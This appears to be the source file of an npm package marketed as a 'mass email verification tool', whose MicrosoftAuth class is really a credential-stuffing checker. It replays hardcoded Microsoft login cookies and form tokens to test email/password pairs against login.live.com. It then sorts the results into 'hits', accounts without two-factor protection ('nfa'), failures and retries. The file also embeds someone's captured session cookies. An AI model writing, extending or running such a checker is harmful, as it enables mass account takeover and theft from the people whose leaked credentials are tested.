@masanto/hotku-mailhub
Version:
HOTKU MailHub - Professional Mass Email Verification Tool
164 lines (146 loc) • 9.49 kB
JavaScript
const axios = require('axios');
/**
* Microsoft Authentication Library
* Handles Microsoft login verification
* @author masanto
* @contributor Not-ISellStuff
* @version 1.0.0
*/
class MicrosoftAuth {
constructor() {
this.headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "MicrosoftApplicationsTelemetryDeviceId=920e613f-effa-4c29-8f33-9b639c3b321b; MSFPC=GUID=1760ade1dcf744b88cec3dccf0c07f0d&HASH=1760&LV=202311&V=4&LU=1701108908489; mkt=ar-SA; IgnoreCAW=1; MUID=251A1E31369E6D281AED0DE737986C36; MSCC=197.33.70.230-EG; MSPBack=0; NAP=V=1.9&E=1cca&C=sD-vxVi5jYeyeMkwVA7dKII2IAq8pRAa4DmVKHoqD1M-tyafuCSd4w&W=2; ANON=A=D086BC080C843D7172138ECBFFFFFFFF&E=1d24&W=2; SDIDC=CVbyEkUg8GuRPdWN!EPGwsoa25DdTij5DNeTOr4FqnHvLfbt1MrJg5xnnJzsh!HecLu5ZypjM!sZ5TtKN5sdEd2rZ9rugezwzlcUIDU5Szgq7yMLIVdfna8dg3sFCj!kQaXy2pwx6TFwJ7ar63EdVIz*Z3I3yVzEpbDMlVRweAFmG1M54fOyH0tdFaXs5Mk*7WyS05cUa*oiyMjqGmeFcnE7wutZ2INRl6ESPNMi8l98WUFK3*IKKZgUCfuaNm8lWfbBzoWBy9F3hgwe9*QM1yi41O*rE0U0!V4SpmrIPRSGT5yKcYSEDu7TJOO1XXctcPAq21yk*MnNVrYYfibqZvnzRMvTwoNBPBKzrM6*EKQd6RKQyJrKVdEAnErMFjh*JKgS35YauzHTacSRH6ocroAYtB0eXehx5rdp2UyG5kTnd8UqA00JYvp4r1lKkX4Tv9yUb3tZ5vR7JTQLhoQpSblC4zSaT9R5AgxKW3coeXxqkz0Lbpz!7l9qEjO*SdOm*5LBfF2NZSLeXlhol**kM3DFdLVyFogVq0gl0wR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2gB7BQDP7RbVYZS5UXeNp3rlGdN*5!nUGK3Fltm1sKFmtZU!T1Q0WaeFwVvpFYSCxg9uw6CC!va2dB*R6NFK!3GNBDrCvbXnJMaKVb!UoBP5G*GASdPnuJgb3cjUE*DIYMJRrPT!dZoHd5BAQSF3vBoPZasphWeflxXFMPBi055OBEawIzxOqS6Wn3IZCp3dgk8QLNssATkzwZvpUM5lSq710QTMZWENDKp5gTIlWcdYpKG1d8TmRlqXRJN7bdUuRIoehIWqnfSuJxGoNk6PM3x3!gMaxPxe1Ch6hMmsagHM8fFQ!MpP0TQ9nsIxh1goCaL*PbHDyj1U3btyu2RXibwIwgV1h5A6DgwmgbaH1Hn9LpdLipiT5fGiRbI903!wYUA3MgQg98OH9BQaJPXte1YpL8iUjUA9MreaZTQ5P13cUiNYrkTW2jVr5PTpEJvwpg*8piWEo9k*IzOCr6iKMRiZwTft*QYEEaKxbyvgLG*s33uhCN46R9J1VwPufzsxyGUHYyE5S1mhx8sWxw!pndIQ!RgVEsDfzvOO0H2P1hBGQG8npJ18th2WKYrvouqHZfRBcEc77hsbXUKec2lv4ETHag0RdrT6kFn03RDX*p*Hac*nugVJK1j0GouxkITbOmMjb8cpau*Lf*xNBUFc3roCuPjEpAcR48X51rIGpOjhAe56Q6CbwIuVe*z*KmRptzngkT4!AB*FGGKh2lOi6b0qR1w4Aia2g1pfjJU2G1r*Q!kSNxYtGn0WOkHiVkhAXQCvkNFp3q!ivZs3obM!0ffg$$; ai_session=6FvJma4ss/5jbM3ZARR4JM|1701943445431|1701944504493; MSPOK=$uuid-d9559e5d-eb3c-4862-aefb-702fdaaf8c62$uuid-d48f3872-ff6f-457e-acde-969d16a38c95$uuid-c227e203-c0b0-411f-9e65-01165bcbc281$uuid-98f882b7-0037-4de4-8f58-c8db795010f1$uuid-0454a175-8868-4a70-9822-8e509836a4ef$uuid-ce4db8a3-c655-4677-a457-c0b7ff81a02f$uuid-160e65e0-7703-4950-9154-67fd0829b36",
"Origin": "https://login.live.com",
"Referer": "https://login.live.com/oauth20_authorize.srf?client_id=82023151-c27d-4fb5-8551-10c10724a55e&redirect_uri=https%3A%2F%2Faccounts.epicgames.com%2FOAuthAuthorized&state=eyJpZCI6IjAzZDZhYmM1NDIzMjQ2Yjg5MWNhYmM2ODg0ZGNmMGMzIn0%3D&scope=xboxlive.signin&service_entity=undefined&force_verify=true&response_type=code&display=popup",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
};
this.patterns = {
fail: [
"Your account or password is incorrect.",
"That Microsoft account doesn\\'t exist. Enter a different account",
"Sign in to your Microsoft account",
"Please sign in with a Microsoft account or create a new account"
],
retry: [",AC:null,urlFedConvertRename", "Too Many Requests"],
nfa: [
"account.live.com/recover?mkt",
"recover?mkt",
"account.live.com/identity/confirm?mkt",
"Email/Confirm?mkt",
"Help us protect your account"
],
custom: ["/cancel?mkt=", "/Abuse?mkt="],
hits: ['sSigninName', 'PPAuth', 'WLSSC', 'name="ANON"']
};
this.loginUrl = "https://login.live.com/ppsecure/post.srf?client_id=82023151-c27d-4fb5-8551-10c10724a55e&contextid=A31E247040285505&opid=F7304AA192830107&bk=1701944501&uaid=a7afddfca5ea44a8a2ee1bba76040b3c&pid=15216";
}
/**
* Check if any keyword matches in response
* @param {Array} keywords - Array of keywords to search
* @param {string} response - Response text to search in
* @returns {boolean}
*/
foundPattern(keywords, response) {
return keywords.some(keyword => response.includes(keyword));
}
/**
* Generate login payload for Microsoft
* @param {string} email - Email address
* @param {string} password - Password
* @returns {Object} Login payload
*/
createPayload(email, password) {
return {
"i13": "0",
"login": email,
"loginfmt": email,
"type": "11",
"LoginOptions": "3",
"lrt": "",
"lrtPartition": "",
"hisRegion": "",
"hisScaleUnit": "",
"passwd": password,
"ps": "2",
"psRNGCDefaultType": "1",
"psRNGCEntropy": "",
"psRNGCSLK": "-DiygW3nqox0vvJ7dW44rE5gtFMCs15qempbazLM7SFt8rqzFPYiz07lngjQhCSJAvR432cnbv6uaSwnrXQ*RzFyhsGXlLUErzLrdZpblzzJQawycvgHoIN2D6CUMD9qwoIgR*vIcvH3ARmKp1m44JQ6VmC6jLndxQadyaLe8Tb!ZLz59Te6lw6PshEEM54ry8FL2VM6aH5HPUv94uacHz!qunRagNYaNJax7vItu5KjQ",
"canary": "",
"ctx": "",
"hpgrequestid": "",
"PPFT": "-DjzN1eKq4VUaibJxOt7gxnW7oAY0R7jEm4DZ2KO3NyQh!VlvUxESE5N3*8O*fHxztUSA7UxqAc*jZ*hb9kvQ2F!iENLKBr0YC3T7a5RxFF7xUXJ7SyhDPND0W3rT1l7jl3pbUIO5v1LpacgUeHVyIRaVxaGUg*bQJSGeVs10gpBZx3SPwGatPXcPCofS!R7P0Q$$",
"PPSX": "Passp",
"NewUser": "1",
"FoundMSAs": "",
"fspost": "0",
"i21": "0",
"CookieDisclosure": "0",
"IsFidoSupported": "1",
"isSignupPost": "0",
"isRecoveryAttemptPost": "0",
"i19": "21648"
};
}
/**
* Extract cookie value from response headers
* @param {Array} cookies - Array of cookie strings
* @param {string} name - Cookie name to extract
* @returns {string|null}
*/
extractCookie(cookies, name) {
if (!cookies) return null;
for (let cookie of cookies) {
if (cookie.includes(name)) {
const match = cookie.match(new RegExp(`${name}=([^;]+)`));
return match ? match[1] : null;
}
}
return null;
}
/**
* Verify Microsoft account credentials
* @param {string} email - Email address
* @param {string} password - Password
* @returns {Promise<Array>} [status, canary] where status is ok|fail|nfa|custom|retry
*/
async verify(email, password) {
const config = {
method: 'post',
url: this.loginUrl,
headers: this.headers,
data: new URLSearchParams(this.createPayload(email, password)).toString(),
timeout: 100000,
validateStatus: () => true
};
try {
const response = await axios(config);
const responseText = response.data;
const cookies = response.headers['set-cookie'];
// Check for successful login
if (this.foundPattern(this.patterns.hits, responseText)) {
const canary = this.extractCookie(cookies, 'X-OWA-CANARY');
return ["ok", canary];
}
// Check for different error patterns
if (this.foundPattern(this.patterns.nfa, responseText)) {
return ["nfa"];
}
if (this.foundPattern(this.patterns.custom, responseText)) {
return ["custom"];
}
if (this.foundPattern(this.patterns.fail, responseText)) {
return ["fail"];
}
if (this.foundPattern(this.patterns.retry, responseText)) {
return ["retry"];
}
// Default to ok if no specific pattern found
const canary = this.extractCookie(cookies, 'X-OWA-CANARY');
return ["ok", canary];
} catch (error) {
return ["retry"];
}
}
}
module.exports = MicrosoftAuth;